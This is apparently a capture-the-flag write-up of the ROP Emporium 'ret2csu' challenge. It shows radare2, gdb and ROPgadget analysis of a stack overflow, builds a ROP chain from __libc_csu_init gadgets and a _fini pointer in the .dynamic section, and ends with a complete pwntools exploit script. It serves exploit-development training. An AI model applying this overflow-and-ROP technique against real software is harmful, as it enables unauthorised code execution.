Writeup

Security protections:

$ rabin2 -I ret2csu 
arch     x86
baddr    0x400000
binsz    6783
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

We have the usual security protections enabled (NX, ASLR) and PIE disabled.

Let’s start the binary:

$ ./ret2csu 
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> woooooooow

Mh.. let’s analyze the binary with r2:

$ [0x7f8178b78100]> afl
0x004005f0    1 42           entry0
0x00400630    4 42   -> 37   sym.deregister_tm_clones
0x00400660    4 58   -> 55   sym.register_tm_clones
0x004006a0    3 34   -> 29   entry.fini0
0x004006d0    1 7            entry.init0
0x00400714    1 157          sym.pwnme
0x004005c0    1 6            sym.imp.memset
0x00400590    1 6            sym.imp.puts
0x004005b0    1 6            sym.imp.printf
0x004005d0    1 6            sym.imp.fgets
0x004008b0    1 2            sym.__libc_csu_fini
0x004007b1    1 128          sym.ret2win
0x004005a0    1 6            sym.imp.system
0x004008b4    1 9            sym._fini
0x00400840    3 101  -> 92   sym.__libc_csu_init
0x00400560    3 23           sym._init
0x00400620    1 2            sym._dl_relocate_static_pie
0x004006d7    1 61           main
0x004005e0    1 6            sym.imp.setvbuf
[0x7f8178b78100]> s main
[0x004006d7]> pdg

undefined8 main(void)
{
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
    sym.imp.puts("ret2csu by ROP Emporium\n");
    sym.pwnme();
    return 0;
}
[0x004006d7]> s sym.pwnme
[0x00400714]> pdg

void sym.pwnme(void)
{
    int32_t var_20h;
    
    sym.imp.memset(&var_20h, 0, 0x20);
    sym.imp.puts("Call ret2win()");
    sym.imp.puts("The third argument (rdx) must be 0xdeadcafebabebeef");
    sym.imp.puts(0x400924);
    sym.imp.printf(0x400925);
    _reloc.puts = 0;
    _reloc.printf = 0;
    _reloc.memset = 0;
    sym.imp.fgets(&var_20h, 0xb0, _reloc.stdin_112);
    _reloc.fgets = 0;
    return;
}
[0x00400714]> 

Usual stack based buffer overflow, but in this case the got.plt of the functions is set to 0. Let’s disassemble the pwnme function to understand better what is going on:

[0x00400714]> pdf
/ (fcn) sym.pwnme 157
|   sym.pwnme ();
|           ; var int32_t var_20h @ rbp-0x20
|           ; CALL XREF from main @ 0x400708
|           0x00400714      55             push rbp
|           0x00400715      4889e5         mov rbp, rsp
|           0x00400718      4883ec20       sub rsp, 0x20
|           0x0040071c      488d45e0       lea rax, [var_20h]
|           0x00400720      ba20000000     mov edx, 0x20               ; 32
|           0x00400725      be00000000     mov esi, 0
|           0x0040072a      4889c7         mov rdi, rax
|           0x0040072d      e88efeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00400732      bfe1084000     mov edi, str.Call_ret2win   ; 0x4008e1 ; "Call ret2win()"
|           0x00400737      e854feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040073c      bff0084000     mov edi, str.The_third_argument__rdx__must_be_0xdeadcafebabebeef ; 0x4008f0 ; "The third argument (rdx) must be 0xdeadcafebabebeef"
|           0x00400741      e84afeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400746      bf24094000     mov edi, 0x400924
|           0x0040074b      e840feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400750      bf25094000     mov edi, 0x400925
|           0x00400755      b800000000     mov eax, 0
|           0x0040075a      e851feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040075f      b818106000     mov eax, reloc.puts         ; 0x601018
|           0x00400764      48c700000000.  mov qword [rax], 0
|           0x0040076b      b828106000     mov eax, reloc.printf       ; 0x601028
|           0x00400770      48c700000000.  mov qword [rax], 0
|           0x00400777      b830106000     mov eax, reloc.memset       ; 0x601030
|           0x0040077c      48c700000000.  mov qword [rax], 0
|           0x00400783      488b15e60820.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x601070:8]=0
|           0x0040078a      488d45e0       lea rax, [var_20h]
|           0x0040078e      beb0000000     mov esi, 0xb0               ; 176
|           0x00400793      4889c7         mov rdi, rax
|           0x00400796      e835feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x0040079b      b838106000     mov eax, reloc.fgets        ; 0x601038
|           0x004007a0      48c700000000.  mov qword [rax], 0
|           0x004007a7      48c7c7000000.  mov rdi, 0
|           0x004007ae      90             nop
|           0x004007af      c9             leave
\           0x004007b0      c3             ret
[0x00400714]>

If the binary sets to 0 the got.plt, it means that we can’t leak any address on the got. However there’s a bigger problem, we can’t directly call the puts, memset, fgets, ... etc because their plt is corrupted and calling them would crash the program because it would try to execute a jmp 0x0, which is a non valid memory address.

We can prove the last deduction.

#!/usr/bin/env python3

from pwn import *

payload = b'a' * 40 + p64(0x0000000000400590)
open("./out.txt", "wb").write(payload)

And debugging step by step with gdb:

(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/i $rip
>end
(gdb) disass pwnme
Dump of assembler code for function pwnme:
   0x0000000000400714 <+0>:     push   rbp
   0x0000000000400715 <+1>:     mov    rbp,rsp
   0x0000000000400718 <+4>:     sub    rsp,0x20
   0x000000000040071c <+8>:     lea    rax,[rbp-0x20]
   0x0000000000400720 <+12>:    mov    edx,0x20
   0x0000000000400725 <+17>:    mov    esi,0x0
   0x000000000040072a <+22>:    mov    rdi,rax
   0x000000000040072d <+25>:    call   0x4005c0 <memset@plt>
   0x0000000000400732 <+30>:    mov    edi,0x4008e1
   0x0000000000400737 <+35>:    call   0x400590 <puts@plt>
   0x000000000040073c <+40>:    mov    edi,0x4008f0
   0x0000000000400741 <+45>:    call   0x400590 <puts@plt>
   0x0000000000400746 <+50>:    mov    edi,0x400924
   0x000000000040074b <+55>:    call   0x400590 <puts@plt>
   0x0000000000400750 <+60>:    mov    edi,0x400925
   0x0000000000400755 <+65>:    mov    eax,0x0
   0x000000000040075a <+70>:    call   0x4005b0 <printf@plt>
   0x000000000040075f <+75>:    mov    eax,0x601018
   0x0000000000400764 <+80>:    mov    QWORD PTR [rax],0x0
   0x000000000040076b <+87>:    mov    eax,0x601028
   0x0000000000400770 <+92>:    mov    QWORD PTR [rax],0x0
   0x0000000000400777 <+99>:    mov    eax,0x601030
   0x000000000040077c <+104>:   mov    QWORD PTR [rax],0x0
   0x0000000000400783 <+111>:   mov    rdx,QWORD PTR [rip+0x2008e6]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x000000000040078a <+118>:   lea    rax,[rbp-0x20]
   0x000000000040078e <+122>:   mov    esi,0xb0
   0x0000000000400793 <+127>:   mov    rdi,rax
   0x0000000000400796 <+130>:   call   0x4005d0 <fgets@plt>
   0x000000000040079b <+135>:   mov    eax,0x601038
   0x00000000004007a0 <+140>:   mov    QWORD PTR [rax],0x0
   0x00000000004007a7 <+147>:   mov    rdi,0x0
   0x00000000004007ae <+154>:   nop
   0x00000000004007af <+155>:   leave  
   0x00000000004007b0 <+156>:   ret    
End of assembler dump.
(gdb) b *0x00000000004007b0
Breakpoint 1 at 0x4007b0
(gdb) r < out.txt 
Starting program: /home/meowmeow/Security/wargame/rop-emporium/ret2csu/ret2csu < out.txt
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> => 0x4007b0 <pwnme+156>:      ret    

Breakpoint 1, 0x00000000004007b0 in pwnme ()
(gdb) si
=> 0x400590 <puts@plt>: jmp    QWORD PTR [rip+0x200a82]        # 0x601018 <puts@got.plt>
0x0000000000400590 in puts@plt ()
(gdb) si
=> 0x0: Error while running hook_stop:
Cannot access memory at address 0x0
0x0000000000000000 in ?? ()
(gdb)

Ok ok, but we’re interested in calling ret2win and setting the register rdx = 0xdeadcafebabebeef, let’s check what gadgets are available:

$ ROPgadget --binary ret2csu | grep rdx 
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

They aren’t very usefuls, but we can increase the search:

$ ROPgadget --binary ret2csu --depth 20 | grep rdx
0x000000000040056a : add byte ptr [rax - 0x7b], cl ; sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040087c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x000000000040087e : add byte ptr [rax], al ; mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x0000000000400880 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400568 : or ah, byte ptr [rax] ; add byte ptr [rax - 0x7b], cl ; sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

0x0000000000400880 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8] is good enough. It’s possible to load the register rdx using the value in r15, and call the address stored in [r12 + rbx * 8].

We’re very lucky if there’s a gadget to manipulate r15 and r12:

$ ROPgadget --binary ret2csu --depth 12 | grep r15
0x0000000000400899 : or byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040089a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

Yes! There is. If we look closely the gadget2 (mov rdx, r15;..) and gadget1 (pop r12;...) are very near (address). This is because they are both in __libc_csu_init :

disass __libc_csu_init 
Dump of assembler code for function __libc_csu_init:
   0x0000000000400840 <+0>:     push   r15
   0x0000000000400842 <+2>:     push   r14
   0x0000000000400844 <+4>:     mov    r15,rdx
   0x0000000000400847 <+7>:     push   r13
   0x0000000000400849 <+9>:     push   r12
   0x000000000040084b <+11>:    lea    r12,[rip+0x2005be]        # 0x600e10
   0x0000000000400852 <+18>:    push   rbp
   0x0000000000400853 <+19>:    lea    rbp,[rip+0x2005be]        # 0x600e18
   0x000000000040085a <+26>:    push   rbx
   0x000000000040085b <+27>:    mov    r13d,edi
   0x000000000040085e <+30>:    mov    r14,rsi
   0x0000000000400861 <+33>:    sub    rbp,r12
   0x0000000000400864 <+36>:    sub    rsp,0x8
   0x0000000000400868 <+40>:    sar    rbp,0x3
   0x000000000040086c <+44>:    call   0x400560 <_init>
   0x0000000000400871 <+49>:    test   rbp,rbp
   0x0000000000400874 <+52>:    je     0x400896 <__libc_csu_init+86>
   0x0000000000400876 <+54>:    xor    ebx,ebx
   0x0000000000400878 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400880 <+64>:    mov    rdx,r15 # GADGET 2
   0x0000000000400883 <+67>:    mov    rsi,r14
   0x0000000000400886 <+70>:    mov    edi,r13d
   0x0000000000400889 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040088d <+77>:    add    rbx,0x1
   0x0000000000400891 <+81>:    cmp    rbp,rbx
   0x0000000000400894 <+84>:    jne    0x400880 <__libc_csu_init+64>
   0x0000000000400896 <+86>:    add    rsp,0x8
   0x000000000040089a <+90>:    pop    rbx # GADGET 1
   0x000000000040089b <+91>:    pop    rbp
   0x000000000040089c <+92>:    pop    r12
   0x000000000040089e <+94>:    pop    r13
   0x00000000004008a0 <+96>:    pop    r14
   0x00000000004008a2 <+98>:    pop    r15
   0x00000000004008a4 <+100>:   ret

(I call the number of gadgets in reverse order because it comes in handy later).

This gadgets are in the binary 99% of the times, in fact this is also called universal ROP, \(\mu\)ROP.

Problem

It would be very nice if we can just set the value of r12 equal to the address of ret2win and rbx = 0 to call ret2win using gadget2.

However as I’ve written before the gadget2 is calling:

[r12 + (rbx * 8)].

So if we set the value of r12 = ret2win = 0x04007b1, the binary will try to resolve what is in the address 0x04007b1 and call it. However there will be operations code not equal to a valid address.

I tried searching for mov [reg1], reg instructions to write in memory the address of ret2win, however there weren’t any useful gadgets.

Solution

Using ghidra we can search a scalar, in this case between 0x400000 and 0x500000 (usually the functions are in this address range), and not intuitively we can try to see if there are some operations code equal to an address of function.

Example: in the address 0x600e48 there is :

[0x00600e38]> s 0x0600e48
[0x00600e48]> pd
            0x00600e48      b408           mov ah, 8
            0x00600e4a      400000         add byte [rax], al
            0x00600e4d      0000           add byte [rax], al
            0x00600e4f      0019           add byte [rcx], bl

If we take the operation code and convert it from little endian we obtain:

0x000000000408b4

If we try an objdump we will see that:

objdump -d -M intel ret2csu | grep _fini
00000000004008b0 <__libc_csu_fini>:
00000000004008b4 <_fini>:

Those operations code are in fact equal to the address of _fini.

Let’s see what _fini does:

0x00000000004008b4 <+0>:     sub    rsp,0x8
0x00000000004008b8 <+4>:     add    rsp,0x8
0x00000000004008bc <+8>:     ret

WOW..

After the call, the program will continue and will executes the next instructions in __libc_csu_init.

Alternative

The dynamic section contains a table of values (tags) useful for the linker to load the binary. In this section there are also some valid addresses in memory like fini and init. We can check them with radare2 as follow:

[0x004005f0]> iS~.dynamic
20 0x00000e20   464 0x00600e20   464 -rw- .dynamic
[0x004005f0]> pxQ@0x00600e20
0x00600e20 0x0000000000000001 section.+1
0x00600e28 0x0000000000000001 section.+1
0x00600e30 0x000000000000000c section.+12
0x00600e38 0x0000000000400560 section..init
0x00600e40 0x000000000000000d section.+13
0x00600e48 0x00000000004008b4 section..fini
0x00600e50 0x0000000000000019 section.+25
0x00600e58 0x0000000000600e10 section..init_array
0x00600e60 0x000000000000001b section.+27
0x00600e68 0x0000000000000008 section.+8
0x00600e70 0x000000000000001a section.+26
0x00600e78 0x0000000000600e18 section..fini_array
0x00600e80 0x000000000000001c section.+28
0x00600e88 0x0000000000000008 section.+8
0x00600e90 0x000000006ffffef5 
0x00600e98 0x0000000000400298 section..gnu.hash
0x00600ea0 0x0000000000000005 section.+5
0x00600ea8 0x00000000004003c8 section..dynstr
0x00600eb0 0x0000000000000006 section.+6
0x00600eb8 0x00000000004002c0 section..dynsym
0x00600ec0 0x000000000000000a section.+10
0x00600ec8 0x000000000000006d rflags+41
0x00600ed0 0x000000000000000b section.+11
0x00600ed8 0x0000000000000018 section.+24
0x00600ee0 0x0000000000000015 section.+21
0x00600ee8 0x0000000000000000 section.
0x00600ef0 0x0000000000000003 section.+3
0x00600ef8 0x0000000000601000 section..got.plt
0x00600f00 0x0000000000000002 section.+2
0x00600f08 0x0000000000000090 rflags+76
0x00600f10 0x0000000000000014 section.+20
0x00600f18 0x0000000000000007 section.+7

Now we’re ready to build a final solution.

  1. junk –> ‘a’ * 40
  2. gadget1 and set r15 = 0xdeadcafebabebeef, r12 = 0x00600e48
  3. gadget2
  4. After gadget2 is executed the program will try to jmp in another location if rbx + 1 != rbp, so in step 2 we must set the value of rbx = 0, and rbp = 1. Not viceversa or we modify the call [r12 + (rbx * 8)] in the gadget2 instruction. (Read __libc_csu_init to understand better this part)
  5. Pop again some values in the registers (gadget1)…
  6. Ret2win function

If you’re unsure about the final solution, the best way is to debug the binary step by step, and see what the binary executes at every instruction (using the following exploit).

Exploit

#!/usr/bin/env python3

from pwn import context, process, remote, p64, log

class Sender:
    def __init__(self, local, debug):
        if debug == True:
            context.log_level = True
        if local == 'local':
            self.conn = process('./ret2csu')
        else:
            self.conn = remote('127.0.0.1', 9999)

def generate_payload():
    # print(lines)
    # mov    rdx,r15
    # mov    rsi,r14
    # mov    edi,r13d
    # call   QWORD PTR [r12+rbx*8]
    gadget_2 = p64(0x0400880)

    # pop    rbx
    # pop    rbp
    # pop    r12
    # pop    r13
    # pop    r14
    # pop    r15
    # ret
    gadget_1 = p64(0x040089a)
    ret2win = 0x04007b1
    deadcafe = 0xdeadcafebabebeef

    payload = b'a' * 40
    payload += gadget_1
    # After the call we need to skip to jump that is being executed
    # iff rbx + 1 != rbp
    payload += p64(0) # rbx
    payload += p64(1) # rbp
    # 00600e48	dq _fini (Elf64_Dyn.d_val)	0x4008b4	
    payload += p64(0x0600e48) # r12
    payload += p64(deadcafe) # r13d --> edi
    payload += p64(deadcafe) # r14 --> rsi
    payload += p64(deadcafe) # r15 --> rdx
    payload += gadget_2
    payload += p64(0) * 7 + p64(ret2win)
    with open("./out.txt", "wb") as out:
        out.write(payload)
    return payload

def main():
    payload = generate_payload()
    snd = Sender('local', False)
    snd.conn.recvuntil('>')
    snd.conn.sendline(payload)
    log.info(snd.conn.recvline())
    snd.conn.close()

if __name__ == '__main__':
    main()